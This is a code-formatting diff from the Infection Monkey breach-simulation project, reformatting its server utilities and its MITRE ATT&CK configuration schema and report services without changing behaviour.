"monkey_island") DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 -DEFAULT_SERVER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json" -) +DEFAULT_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json") DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" diff --git a/monkey/monkey_island/cc/server_utils/custom_json_encoder.py b/monkey/monkey_island/cc/server_utils/custom_json_encoder.py index 3c53586d15d..0cc2036dee3 100644 --- a/monkey/monkey_island/cc/server_utils/custom_json_encoder.py +++ b/monkey/monkey_island/cc/server_utils/custom_json_encoder.py @@ -3,7 +3,6 @@ class CustomJSONEncoder(JSONEncoder): - def default(self, obj): try: if isinstance(obj, ObjectId): diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 161032c52d9..60ab8ead94a 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -38,20 +38,18 @@ def _pad(self, message): ) def _unpad(self, message: str): - return message[0:-ord(message[len(message) - 1])] + return message[0 : -ord(message[len(message) - 1])] def enc(self, message: str): cipher_iv = Random.new().read(AES.block_size) cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return base64.b64encode( - cipher_iv + cipher.encrypt(self._pad(message).encode()) - ).decode() + return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message).encode())).decode() def dec(self, enc_message): enc_message = base64.b64decode(enc_message) - cipher_iv = enc_message[0:AES.block_size] + cipher_iv = enc_message[0 : AES.block_size] cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return self._unpad(cipher.decrypt(enc_message[AES.block_size:]).decode()) + return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) def initialize_encryptor(password_file_dir): diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index 1efbb773432..a32f6505f08 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -40,6 +40,4 @@ def _expanduser_log_file_paths(config: Dict): for handler_settings in handlers.values(): if "filename" in handler_settings: - handler_settings["filename"] = os.path.expanduser( - handler_settings["filename"] - ) + handler_settings["filename"] = os.path.expanduser(handler_settings["filename"]) diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index ee5b79ad073..a444730848a 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -1 +1 @@ -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/services/attack/__init__.py b/monkey/monkey_island/cc/services/attack/__init__.py index 98867ed4d51..4dc53e2ca3d 100644 --- a/monkey/monkey_island/cc/services/attack/__init__.py +++ b/monkey/monkey_island/cc/services/attack/__init__.py @@ -1 +1 @@ -__author__ = 'VakarisZ' +__author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index 2b9128edcf6..faff5f71bab 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -17,7 +17,7 @@ def __init__(self): @staticmethod def get_config(): - config = mongo.db.attack.find_one({'name': 'newconfig'})['properties'] + config = mongo.db.attack.find_one({"name": "newconfig"})["properties"] return config @staticmethod @@ -29,7 +29,7 @@ def get_technique(technique_id): """ attack_config = AttackConfig.get_config() for config_key, attack_type in list(attack_config.items()): - for type_key, technique in list(attack_type['properties'].items()): + for type_key, technique in list(attack_type["properties"].items()): if type_key == technique_id: return technique return None @@ -44,7 +44,7 @@ def reset_config(): @staticmethod def update_config(config_json): - mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + mongo.db.attack.update({"name": "newconfig"}, {"$set": config_json}, upsert=True) return True @staticmethod @@ -68,14 +68,17 @@ def set_arrays(attack_techniques, monkey_config, monkey_schema): :param monkey_config: Monkey island's configuration :param monkey_schema: Monkey configuration schema """ - for key, definition in list(monkey_schema['definitions'].items()): - for array_field in definition['anyOf']: + for key, definition in list(monkey_schema["definitions"].items()): + for array_field in definition["anyOf"]: # Check if current array field has attack_techniques assigned to it - if 'attack_techniques' in array_field and array_field['attack_techniques']: - should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'], - attack_techniques) + if "attack_techniques" in array_field and array_field["attack_techniques"]: + should_remove = not AttackConfig.should_enable_field( + array_field["attack_techniques"], attack_techniques + ) # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA - AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove) + AttackConfig.r_alter_array( + monkey_config, key, array_field["enum"][0], remove=should_remove + ) @staticmethod def set_booleans(attack_techniques, monkey_config, monkey_schema): @@ -85,7 +88,7 @@ def set_booleans(attack_techniques, monkey_config, monkey_schema): :param monkey_config: Monkey island's configuration :param monkey_schema: Monkey configuration schema """ - for key, value in list(monkey_schema['properties'].items()): + for key, value in list(monkey_schema["properties"].items()): AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config) @staticmethod @@ -101,15 +104,20 @@ def r_set_booleans(path, value, attack_techniques, monkey_config): if isinstance(value, dict): dictionary = {} # If 'value' is a boolean value that should be set: - if 'type' in value and value['type'] == 'boolean' \ - and 'attack_techniques' in value and value['attack_techniques']: - AttackConfig.set_bool_conf_val(path, - AttackConfig.should_enable_field(value['attack_techniques'], - attack_techniques), - monkey_config) + if ( + "type" in value + and value["type"] == "boolean" + and "attack_techniques" in value + and value["attack_techniques"] + ): + AttackConfig.set_bool_conf_val( + path, + AttackConfig.should_enable_field(value["attack_techniques"], attack_techniques), + monkey_config, + ) # If 'value' is dict, we go over each of it's fields to search for booleans - elif 'properties' in value: - dictionary = value['properties'] + elif "properties" in value: + dictionary = value["properties"] else: dictionary = value for key, item in list(dictionary.items()): @@ -126,7 +134,7 @@ def set_bool_conf_val(path, val, monkey_config): :param val: Boolean :param monkey_config: Monkey's configuration """ - util.set(monkey_config, '/'.join(path), val) + util.set(monkey_config, "/".join(path), val) @staticmethod def should_enable_field(field_techniques, users_techniques): @@ -141,7 +149,9 @@ def should_enable_field(field_techniques, users_techniques): if not users_techniques[technique]: return False except KeyError: - logger.error("Attack technique %s is defined in schema, but not implemented." % technique) + logger.error( + "Attack technique %s is defined in schema, but not implemented." % technique + ) return True @staticmethod @@ -172,8 +182,8 @@ def get_technique_values(): attack_config = AttackConfig.get_config() techniques = {} for type_name, attack_type in list(attack_config.items()): - for key, technique in list(attack_type['properties'].items()): - techniques[key] = technique['value'] + for key, technique in list(attack_type["properties"].items()): + techniques[key] = technique["value"] return techniques @staticmethod @@ -184,6 +194,9 @@ def get_techniques_for_report(): attack_config = AttackConfig.get_config() techniques = {} for type_name, attack_type in list(attack_config.items()): - for key, technique in list(attack_type['properties'].items()): - techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']} + for key, technique in list(attack_type["properties"].items()): + techniques[key] = { + "selected": technique["value"], + "type": SCHEMA["properties"][type_name]["title"], + } return techniques diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 572b469c558..5845db5023c 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,56 +3,92 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.attack_config import AttackConfig -from monkey_island.cc.services.attack.technique_reports import (T1003, T1005, T1016, T1018, T1021, T1035, T1041, T1053, - T1059, T1064, T1065, T1075, T1082, T1086, T1087, T1090, - T1099, T1105, T1106, T1107, T1110, T1129, T1136, T1145, - T1146, T1154, T1156, T1158, T1166, T1168, T1188, T1197, - T1210, T1216, T1222, T1504) -from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report +from monkey_island.cc.services.attack.technique_reports import ( + T1003, + T1005, + T1016, + T1018, + T1021, + T1035, + T1041, + T1053, + T1059, + T1064, + T1065, + T1075, + T1082, + T1086, + T1087, + T1090, + T1099, + T1105, + T1106, + T1107, + T1110, + T1129, + T1136, + T1145, + T1146, + T1154, + T1156, + T1158, + T1166, + T1168, + T1188, + T1197, + T1210, + T1216, + T1222, + T1504, +) +from monkey_island.cc.services.reporting.report_generation_synchronisation import ( + safe_generate_attack_report, +) __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -TECHNIQUES = {'T1210': T1210.T1210, - 'T1197': T1197.T1197, - 'T1110': T1110.T1110, - 'T1075': T1075.T1075, - 'T1003': T1003.T1003, - 'T1059': T1059.T1059, - 'T1086': T1086.T1086, - 'T1082': T1082.T1082, - 'T1145': T1145.T1145, - 'T1065': T1065.T1065, - 'T1105': T1105.T1105, - 'T1035': T1035.T1035, - 'T1129': T1129.T1129, - 'T1106': T1106.T1106, - 'T1107': T1107.T1107, - 'T1188': T1188.T1188, - 'T1090': T1090.T1090, - 'T1041': T1041.T1041, - 'T1222': T1222.T1222, - 'T1005': T1005.T1005, - 'T1018': T1018.T1018, - 'T1016': T1016.T1016, - 'T1021': T1021.T1021, - 'T1064': T1064.T1064, - 'T1136': T1136.T1136, - 'T1156': T1156.T1156, - 'T1504': T1504.T1504, - 'T1158': T1158.T1158, - 'T1154': T1154.T1154, - 'T1166': T1166.T1166, - 'T1168': T1168.T1168, - 'T1053': T1053.T1053, - 'T1099': T1099.T1099, - 'T1216': T1216.T1216, - 'T1087': T1087.T1087, - 'T1146': T1146.T1146 - } +TECHNIQUES = { + "T1210": T1210.T1210, + "T1197": T1197.T1197, + "T1110": T1110.T1110, + "T1075": T1075.T1075, + "T1003": T1003.T1003, + "T1059": T1059.T1059, + "T1086": T1086.T1086, + "T1082": T1082.T1082, + "T1145": T1145.T1145, + "T1065": T1065.T1065, + "T1105": T1105.T1105, + "T1035": T1035.T1035, + "T1129": T1129.T1129, + "T1106": T1106.T1106, + "T1107": T1107.T1107, + "T1188": T1188.T1188, + "T1090": T1090.T1090, + "T1041": T1041.T1041, + "T1222": T1222.T1222, + "T1005": T1005.T1005, + "T1018": T1018.T1018, + "T1016": T1016.T1016, + "T1021": T1021.T1021, + "T1064": T1064.T1064, + "T1136": T1136.T1136, + "T1156": T1156.T1156, + "T1504": T1504.T1504, + "T1158": T1158.T1158, + "T1154": T1154.T1154, + "T1166": T1166.T1166, + "T1168": T1168.T1168, + "T1053": T1053.T1053, + "T1099": T1099.T1099, + "T1216": T1216.T1216, + "T1087": T1087.T1087, + "T1146": T1146.T1146, +} -REPORT_NAME = 'new_report' +REPORT_NAME = "new_report" class AttackReportService: @@ -65,21 +101,22 @@ def generate_new_report(): Generates new report based on telemetries, replaces old report in db with new one. :return: Report object """ - report = \ - { - 'techniques': {}, - 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()}, - 'name': REPORT_NAME - } + report = { + "techniques": {}, + "meta": {"latest_monkey_modifytime": Monkey.get_latest_modifytime()}, + "name": REPORT_NAME, + } for tech_id, tech_info in list(AttackConfig.get_techniques_for_report().items()): try: technique_report_data = TECHNIQUES[tech_id].get_report_data() technique_report_data.update(tech_info) - report['techniques'].update({tech_id: technique_report_data}) + report["techniques"].update({tech_id: technique_report_data}) except KeyError as e: - LOG.error("Attack technique does not have it's report component added " - "to attack report service. %s" % e) - mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True) + LOG.error( + "Attack technique does not have it's report component added " + "to attack report service. %s" % e + ) + mongo.db.attack_report.replace_one({"name": REPORT_NAME}, report, upsert=True) return report @staticmethod @@ -89,8 +126,10 @@ def get_latest_attack_telem_time(): :return: timestamp of latest attack telem """ return [ - x['timestamp'] for x in - mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1) + x["timestamp"] + for x in mongo.db.telemetry.find({"telem_category": "attack"}) + .sort("timestamp", -1) + .limit(1) ][0] @staticmethod @@ -101,8 +140,8 @@ def get_latest_report(): """ if AttackReportService.is_report_generated(): monkey_modifytime = Monkey.get_latest_modifytime() - latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) - report_modifytime = latest_report['meta']['latest_monkey_modifytime'] + latest_report = mongo.db.attack_report.find_one({"name": REPORT_NAME}) + report_modifytime = latest_report["meta"]["latest_monkey_modifytime"] if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime: return latest_report @@ -121,4 +160,6 @@ def is_report_generated(): def delete_saved_report_if_exists(): delete_result = mongo.db.attack_report.delete_many({}) if mongo.db.attack_report.count_documents({}) != 0: - raise RuntimeError("Attack Report cache not cleared. DeleteResult: " + delete_result.raw_result) + raise RuntimeError( + "Attack Report cache not cleared. DeleteResult: " + delete_result.raw_result + ) diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 714e57135c0..f19295c5aa4 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -14,7 +14,7 @@ "necessary": True, "link": "https://attack.mitre.org/techniques/T1059", "description": "Adversaries may use command-line interfaces to interact with systems " - "and execute other software during the course of an operation.", + "and execute other software during the course of an operation.", }, "T1129": { "title": "Execution through module load", @@ -23,8 +23,8 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1129", "description": "The Windows module loader can be instructed to load DLLs from arbitrary " - "local paths and arbitrary Universal Naming Convention (UNC) network paths.", - "depends_on": ["T1078", "T1003"] + "local paths and arbitrary Universal Naming Convention (UNC) network paths.", + "depends_on": ["T1078", "T1003"], }, "T1106": { "title": "Execution through API", @@ -33,8 +33,8 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1106", "description": "Adversary tools may directly use the Windows application " - "programming interface (API) to execute binaries.", - "depends_on": ["T1210"] + "programming interface (API) to execute binaries.", + "depends_on": ["T1210"], }, "T1086": { "title": "Powershell", @@ -43,7 +43,7 @@ "necessary": True, "link": "https://attack.mitre.org/techniques/T1086", "description": "Adversaries can use PowerShell to perform a number of actions," - " including discovery of information and execution of code.", + " including discovery of information and execution of code.", }, "T1064": { "title": "Scripting", @@ -52,7 +52,7 @@ "necessary": True, "link": "https://attack.mitre.org/techniques/T1064", "description": "Adversaries may use scripts to aid in operations and " - "perform multiple actions that would otherwise be manual.", + "perform multiple actions that would otherwise be manual.", }, "T1035": { "title": "Service execution", @@ -61,8 +61,8 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1035", "description": "Adversaries may execute a binary, command, or script via a method " - "that interacts with Windows services, such as the Service Control Manager.", - "depends_on": ["T1210"] + "that interacts with Windows services, such as the Service Control Manager.", + "depends_on": ["T1210"], }, "T1154": { "title": "Trap", @@ -71,8 +71,8 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1154", "description": "Adversaries can use the trap command to register code to be executed " - "when the shell encounters specific interrupts." - } + "when the shell encounters specific interrupts.", + }, }, }, "persistence": { @@ -87,9 +87,9 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1156", "description": "Adversaries may abuse shell scripts by " - "inserting arbitrary shell commands to gain persistence, which " - "would be executed every time the user logs in or opens a new shell.", - "depends_on": ["T1504"] + "inserting arbitrary shell commands to gain persistence, which " + "would be executed every time the user logs in or opens a new shell.", + "depends_on": ["T1504"], }, "T1136": { "title": "Create account", @@ -98,7 +98,7 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1136", "description": "Adversaries with a sufficient level of access " - "may create a local system, domain, or cloud tenant account." + "may create a local system, domain, or cloud tenant account.", }, "T1158": { "title": "Hidden files and directories", @@ -107,8 +107,8 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1158", "description": "Adversaries can hide files and folders on the system " - "and evade a typical user or system analysis that does not " - "incorporate investigation of hidden files." + "and evade a typical user or system analysis that does not " + "incorporate investigation of hidden files.", }, "T1168": { "title": "Local job scheduling", @@ -117,9 +117,9 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1168/", "description": "Linux supports multiple methods for creating pre-scheduled and " - "periodic background jobs. Job scheduling can be used by adversaries to " - "schedule running malicious code at some specified date and time.", - "depends_on": ["T1053"] + "periodic background jobs. Job scheduling can be used by adversaries to " + "schedule running malicious code at some specified date and time.", + "depends_on": ["T1053"], }, "T1504": { "title": "PowerShell profile", @@ -128,9 +128,9 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1504", "description": "Adversaries may gain persistence and elevate privileges " - "in certain situations by abusing PowerShell profiles which " - "are scripts that run when PowerShell starts.", - "depends_on": ["T1156"] + "in certain situations by abusing PowerShell profiles which " + "are scripts that run when PowerShell starts.", + "depends_on": ["T1156"], }, "T1053": { "title": "Scheduled task", @@ -139,9 +139,9 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1053", "description": "Windows utilities can be used to schedule programs or scripts to " - "be executed at a date and time. An adversary may use task scheduling to " - "execute programs at system startup or on a scheduled basis for persistence.", - "depends_on": ["T1168"] + "be executed at a date and time. An adversary may use task scheduling to " + "execute programs at system startup or on a scheduled basis for persistence.", + "depends_on": ["T1168"], }, "T1166": { "title": "Setuid and Setgid", @@ -150,9 +150,9 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1166", "description": "Adversaries can set the setuid or setgid bits to get code running in " - "a different user’s context." - } - } + "a different user’s context.", + }, + }, }, "defence_evasion": { "title": "Defence evasion", @@ -166,7 +166,7 @@ "necessary": True, "link": "https://attack.mitre.org/techniques/T1197", "description": "Adversaries may abuse BITS to download, execute, " - "and even clean up after running malicious code." + "and even clean up after running malicious code.", }, "T1146": { "title": "Clear command history", @@ -175,7 +175,7 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1146", "description": "Adversaries may clear/disable command history of a compromised " - "account to conceal the actions undertaken during an intrusion." + "account to conceal the actions undertaken during an intrusion.", }, "T1107": { "title": "File Deletion", @@ -184,8 +184,8 @@ "necessary": True, "link": "https://attack.mitre.org/techniques/T1107", "description": "Adversaries may remove files over the course of an intrusion " - "to keep their footprint low or remove them at the end as part " - "of the post-intrusion cleanup process." + "to keep their footprint low or remove them at the end as part " + "of the post-intrusion cleanup process.", }, "T1222": { "title": "File permissions modification", @@ -193,7 +193,7 @@ "value": True, "necessary": True, "link": "https://attack.mitre.org/techniques/T1222", - "description": "Adversaries may modify file permissions/attributes to evade intended DACLs." + "description": "Adversaries may modify file permissions/attributes to evade intended DACLs.", }, "T1099": { "title": "Timestomping", @@ -202,7 +202,7 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1099", "description": "Adversaries may modify file time attributes to hide new/changes to existing " - "files to avoid attention from forensic investigators or file analysis tools." + "files to avoid attention from forensic investigators or file analysis tools.", }, "T1216": { "title": "Signed script proxy execution", @@ -211,9 +211,9 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1216", "description": "Adversaries may use scripts signed with trusted certificates to " - "proxy execution of malicious files on Windows systems." - } - } + "proxy execution of malicious files on Windows systems.", + }, + }, }, "credential_access": { "title": "Credential access", @@ -227,8 +227,8 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1110", "description": "Adversaries may use brute force techniques to attempt access to accounts " - "when passwords are unknown or when password hashes are obtained.", - "depends_on": ["T1210", "T1021"] + "when passwords are unknown or when password hashes are obtained.", + "depends_on": ["T1210", "T1021"], }, "T1003": { "title": "Credential dumping", @@ -237,11 +237,11 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1003", "description": "Mapped with T1078 Valid Accounts because both techniques require" - " same credential harvesting modules. " - "Credential dumping is the process of obtaining account login and password " - "information, normally in the form of a hash or a clear text password, " - "from the operating system and software.", - "depends_on": ["T1078"] + " same credential harvesting modules. " + "Credential dumping is the process of obtaining account login and password " + "information, normally in the form of a hash or a clear text password, " + "from the operating system and software.", + "depends_on": ["T1078"], }, "T1145": { "title": "Private keys", @@ -250,11 +250,11 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1145", "description": "Adversaries may gather private keys from compromised systems for use in " - "authenticating to Remote Services like SSH or for use in decrypting " - "other collected files such as email.", - "depends_on": ["T1110", "T1210"] - } - } + "authenticating to Remote Services like SSH or for use in decrypting " + "other collected files such as email.", + "depends_on": ["T1110", "T1210"], + }, + }, }, "discovery": { "title": "Discovery", @@ -268,8 +268,8 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1087", "description": "Adversaries may attempt to get a listing of accounts on a system or " - "within an environment. This information can help adversaries determine which " - "accounts exist to aid in follow-on behavior." + "within an environment. This information can help adversaries determine which " + "accounts exist to aid in follow-on behavior.", }, "T1018": { "title": "Remote System Discovery", @@ -278,7 +278,7 @@ "necessary": True, "link": "https://attack.mitre.org/techniques/T1018", "description": "Adversaries will likely attempt to get a listing of other systems by IP address, " - "hostname, or other logical identifier on a network for lateral movement." + "hostname, or other logical identifier on a network for lateral movement.", }, "T1082": { "title": "System information discovery", @@ -288,8 +288,8 @@ "link": "https://attack.mitre.org/techniques/T1082", "depends_on": ["T1016", "T1005"], "description": "An adversary may attempt to get detailed information about the " - "operating system and hardware, including version, patches, hotfixes, " - "service packs, and architecture." + "operating system and hardware, including version, patches, hotfixes, " + "service packs, and architecture.", }, "T1016": { "title": "System network configuration discovery", @@ -299,10 +299,10 @@ "link": "https://attack.mitre.org/techniques/T1016", "depends_on": ["T1005", "T1082"], "description": "Adversaries will likely look for details about the network configuration " - "and settings of systems they access or through information discovery" - " of remote systems." - } - } + "and settings of systems they access or through information discovery" + " of remote systems.", + }, + }, }, "lateral_movement": { "title": "Lateral movement", @@ -316,8 +316,8 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1210", "description": "Exploitation of a software vulnerability occurs when an adversary " - "takes advantage of a programming error in a program, service, or within the " - "operating system software or kernel itself to execute adversary-controlled code." + "takes advantage of a programming error in a program, service, or within the " + "operating system software or kernel itself to execute adversary-controlled code.", }, "T1075": { "title": "Pass the hash", @@ -326,7 +326,7 @@ "necessary": False, "link": "https://attack.mitre.org/techniques/T1075", "description": "Pass the hash (PtH) is a method of authenticating as a user without " - "having access to the user's cleartext password." + "having access to the user's cleartext password.", }, "T1105": { "title": "Remote file copy", @@ -335,7 +335,7 @@ "necessary": True, "link": "https://attack.mitre.org/techniques/T1105", "description": "Files may be copied from one system to another to stage " - "adversary tools or other files over the course of an operation." + "adversary tools or other files over the course of an operation.", }, "T1021": { "title": "Remote services", @@ -345,9 +345,9 @@ "link": "https://attack.mitre.org/techniques/T1021", "depends_on": ["T1110"], "description": "An adversary may use Valid Accounts to log into a service" - " specifically designed to accept remote connections." - } - } + " specifically designed to accept remote connections.", + }, + }, }, "collection": { "title": "Collection", @@ -362,9 +362,9 @@ "link": "https://attack.mitre.org/techniques/T1005", "depends_on": ["T1016", "T1082"], "description": "Sensitive data can be collected from local system sources, such as the file system " - "or databases of information residing on the system prior to Exfiltration." + "or databases of information residing on the system prior to Exfiltration.", } - } + }, }, "command_and_control": { "title": "Command and Control", @@ -378,7 +378,7 @@ "necessary": True, "link": "https://attack.mitre.org/techniques/T1090", "description": "A connection proxy is used to direct network traffic between systems " - "or act as an intermediary for network communications." + "or act as an intermediary for network communications.", }, "T1065": { "title": "Uncommonly used port", @@ -387,7 +387,7 @@ "necessary": True, "link": "https://attack.mitre.org/techniques/T1065", "description": "Adversaries may conduct C2 communications over a non-standard " - "port to bypass proxies and firewalls that have been improperly configured." + "port to bypass proxies and firewalls that have been improperly configured.", }, "T1188": { "title": "Multi-hop proxy", @@ -396,9 +396,9 @@ "necessary": True, "link": "https://attack.mitre.org/techniques/T1188", "description": "To disguise the source of malicious traffic, " - "adversaries may chain together multiple proxies." - } - } + "adversaries may chain together multiple proxies.", + }, + }, }, "exfiltration": { "title": "Exfiltration", @@ -411,9 +411,9 @@ "value": True, "necessary": True, "link": "https://attack.mitre.org/techniques/T1041", - "description": "Data exfiltration is performed over the Command and Control channel." + "description": "Data exfiltration is performed over the Command and Control channel.", } - } - } - } + }, + }, + }, } diff --git a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py index 25970ad66d8..fa0707b41f6 100644 --- a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py +++ b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py @@ -5,42 +5,44 @@ class MitreApiInterface: - ATTACK_DATA_PATH = 'monkey_island/cc/services/attack/attack_data/enterprise-attack' + ATTACK_DATA_PATH = "monkey_island/cc/services/attack/attack_data/enterprise-attack" @staticmethod def get_all_mitigations() -> Dict[str, CourseOfAction]: file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) - mitigation_filter = [Filter('type', '=', 'course-of-action')] + mitigation_filter = [Filter("type", "=", "course-of-action")] all_mitigations = file_system.query(mitigation_filter) - all_mitigations = {mitigation['id']: mitigation for mitigation in all_mitigations} + all_mitigations = {mitigation["id"]: mitigation for mitigation in all_mitigations} return all_mitigations @staticmethod def get_all_attack_techniques() -> Dict[str, AttackPattern]: file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) - technique_filter = [Filter('type', '=', 'attack-pattern')] + technique_filter = [Filter("type", "=", "attack-pattern")] all_techniques = file_system.query(technique_filter) - all_techniques = {technique['id']: technique for technique in all_techniques} + all_techniques = {technique["id"]: technique for technique in all_techniques} return all_techniques @staticmethod def get_technique_and_mitigation_relationships() -> List[CourseOfAction]: file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) - technique_filter = [Filter('type', '=', 'relationship'), - Filter('relationship_type', '=', 'mitigates')] + technique_filter = [ + Filter("type", "=", "relationship"), + Filter("relationship_type", "=", "mitigates"), + ] all_techniques = file_system.query(technique_filter) return all_techniques @staticmethod def get_stix2_external_reference_id(stix2_data) -> str: - for reference in stix2_data['external_references']: - if reference['source_name'] == "mitre-attack" and 'external_id' in reference: - return reference['external_id'] - return '' + for reference in stix2_data["external_references"]: + if reference["source_name"] == "mitre-attack" and "external_id" in reference: + return reference["external_id"] + return "" @staticmethod def get_stix2_external_reference_url(stix2_data) -> str: - for reference in stix2_data['external_references']: - if 'url' in reference: - return reference['url'] - return '' + for reference in stix2_data["external_references"]: + if "url" in reference: + return reference["url"] + return "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index 399be0992f6..0bf2e649b81 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -12,14 +12,24 @@ class T1003(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." - query = {'$or': [ - {'telem_category': 'system_info', - '$and': [{'data.credentials': {'$exists': True}}, - {'data.credentials': {'$gt': {}}}]}, # $gt: {} checks if field is not an empty object - {'telem_category': 'exploit', - '$and': [{'data.info.credentials': {'$exists': True}}, - {'data.info.credentials': {'$gt': {}}}]} - ]} + query = { + "$or": [ + { + "telem_category": "system_info", + "$and": [ + {"data.credentials": {"$exists": True}}, + {"data.credentials": {"$gt": {}}}, + ], + }, # $gt: {} checks if field is not an empty object + { + "telem_category": "exploit", + "$and": [ + {"data.info.credentials": {"$exists": True}}, + {"data.info.credentials": {"$gt": {}}}, + ], + }, + ] + } @staticmethod def get_report_data(): @@ -31,11 +41,11 @@ def get_technique_status_and_data(): status = ScanStatus.UNSCANNED.value return (status, []) - data = {'title': T1003.technique_title()} + data = {"title": T1003.technique_title()} status, _ = get_technique_status_and_data() data.update(T1003.get_message_and_status(status)) data.update(T1003.get_mitigation_by_status(status)) - data['stolen_creds'] = ReportService.get_stolen_creds() - data['stolen_creds'].extend(ReportService.get_ssh_keys()) + data["stolen_creds"] = ReportService.get_stolen_creds() + data["stolen_creds"].extend(ReportService.get_ssh_keys()) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py index 78571562aad..83d4bc3b6d3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -10,24 +10,45 @@ class T1005(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully gathered sensitive data from local system." - query = [{'$match': {'telem_category': 'attack', - 'data.technique': tech_id}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'gathered_data_type': '$data.gathered_data_type', - 'info': '$data.info'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] + query = [ + {"$match": {"telem_category": "attack", "data.technique": tech_id}}, + { + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", + } + }, + { + "$project": { + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "gathered_data_type": "$data.gathered_data_type", + "info": "$data.info", + } + }, + { + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, + } + }, + { + "$group": { + 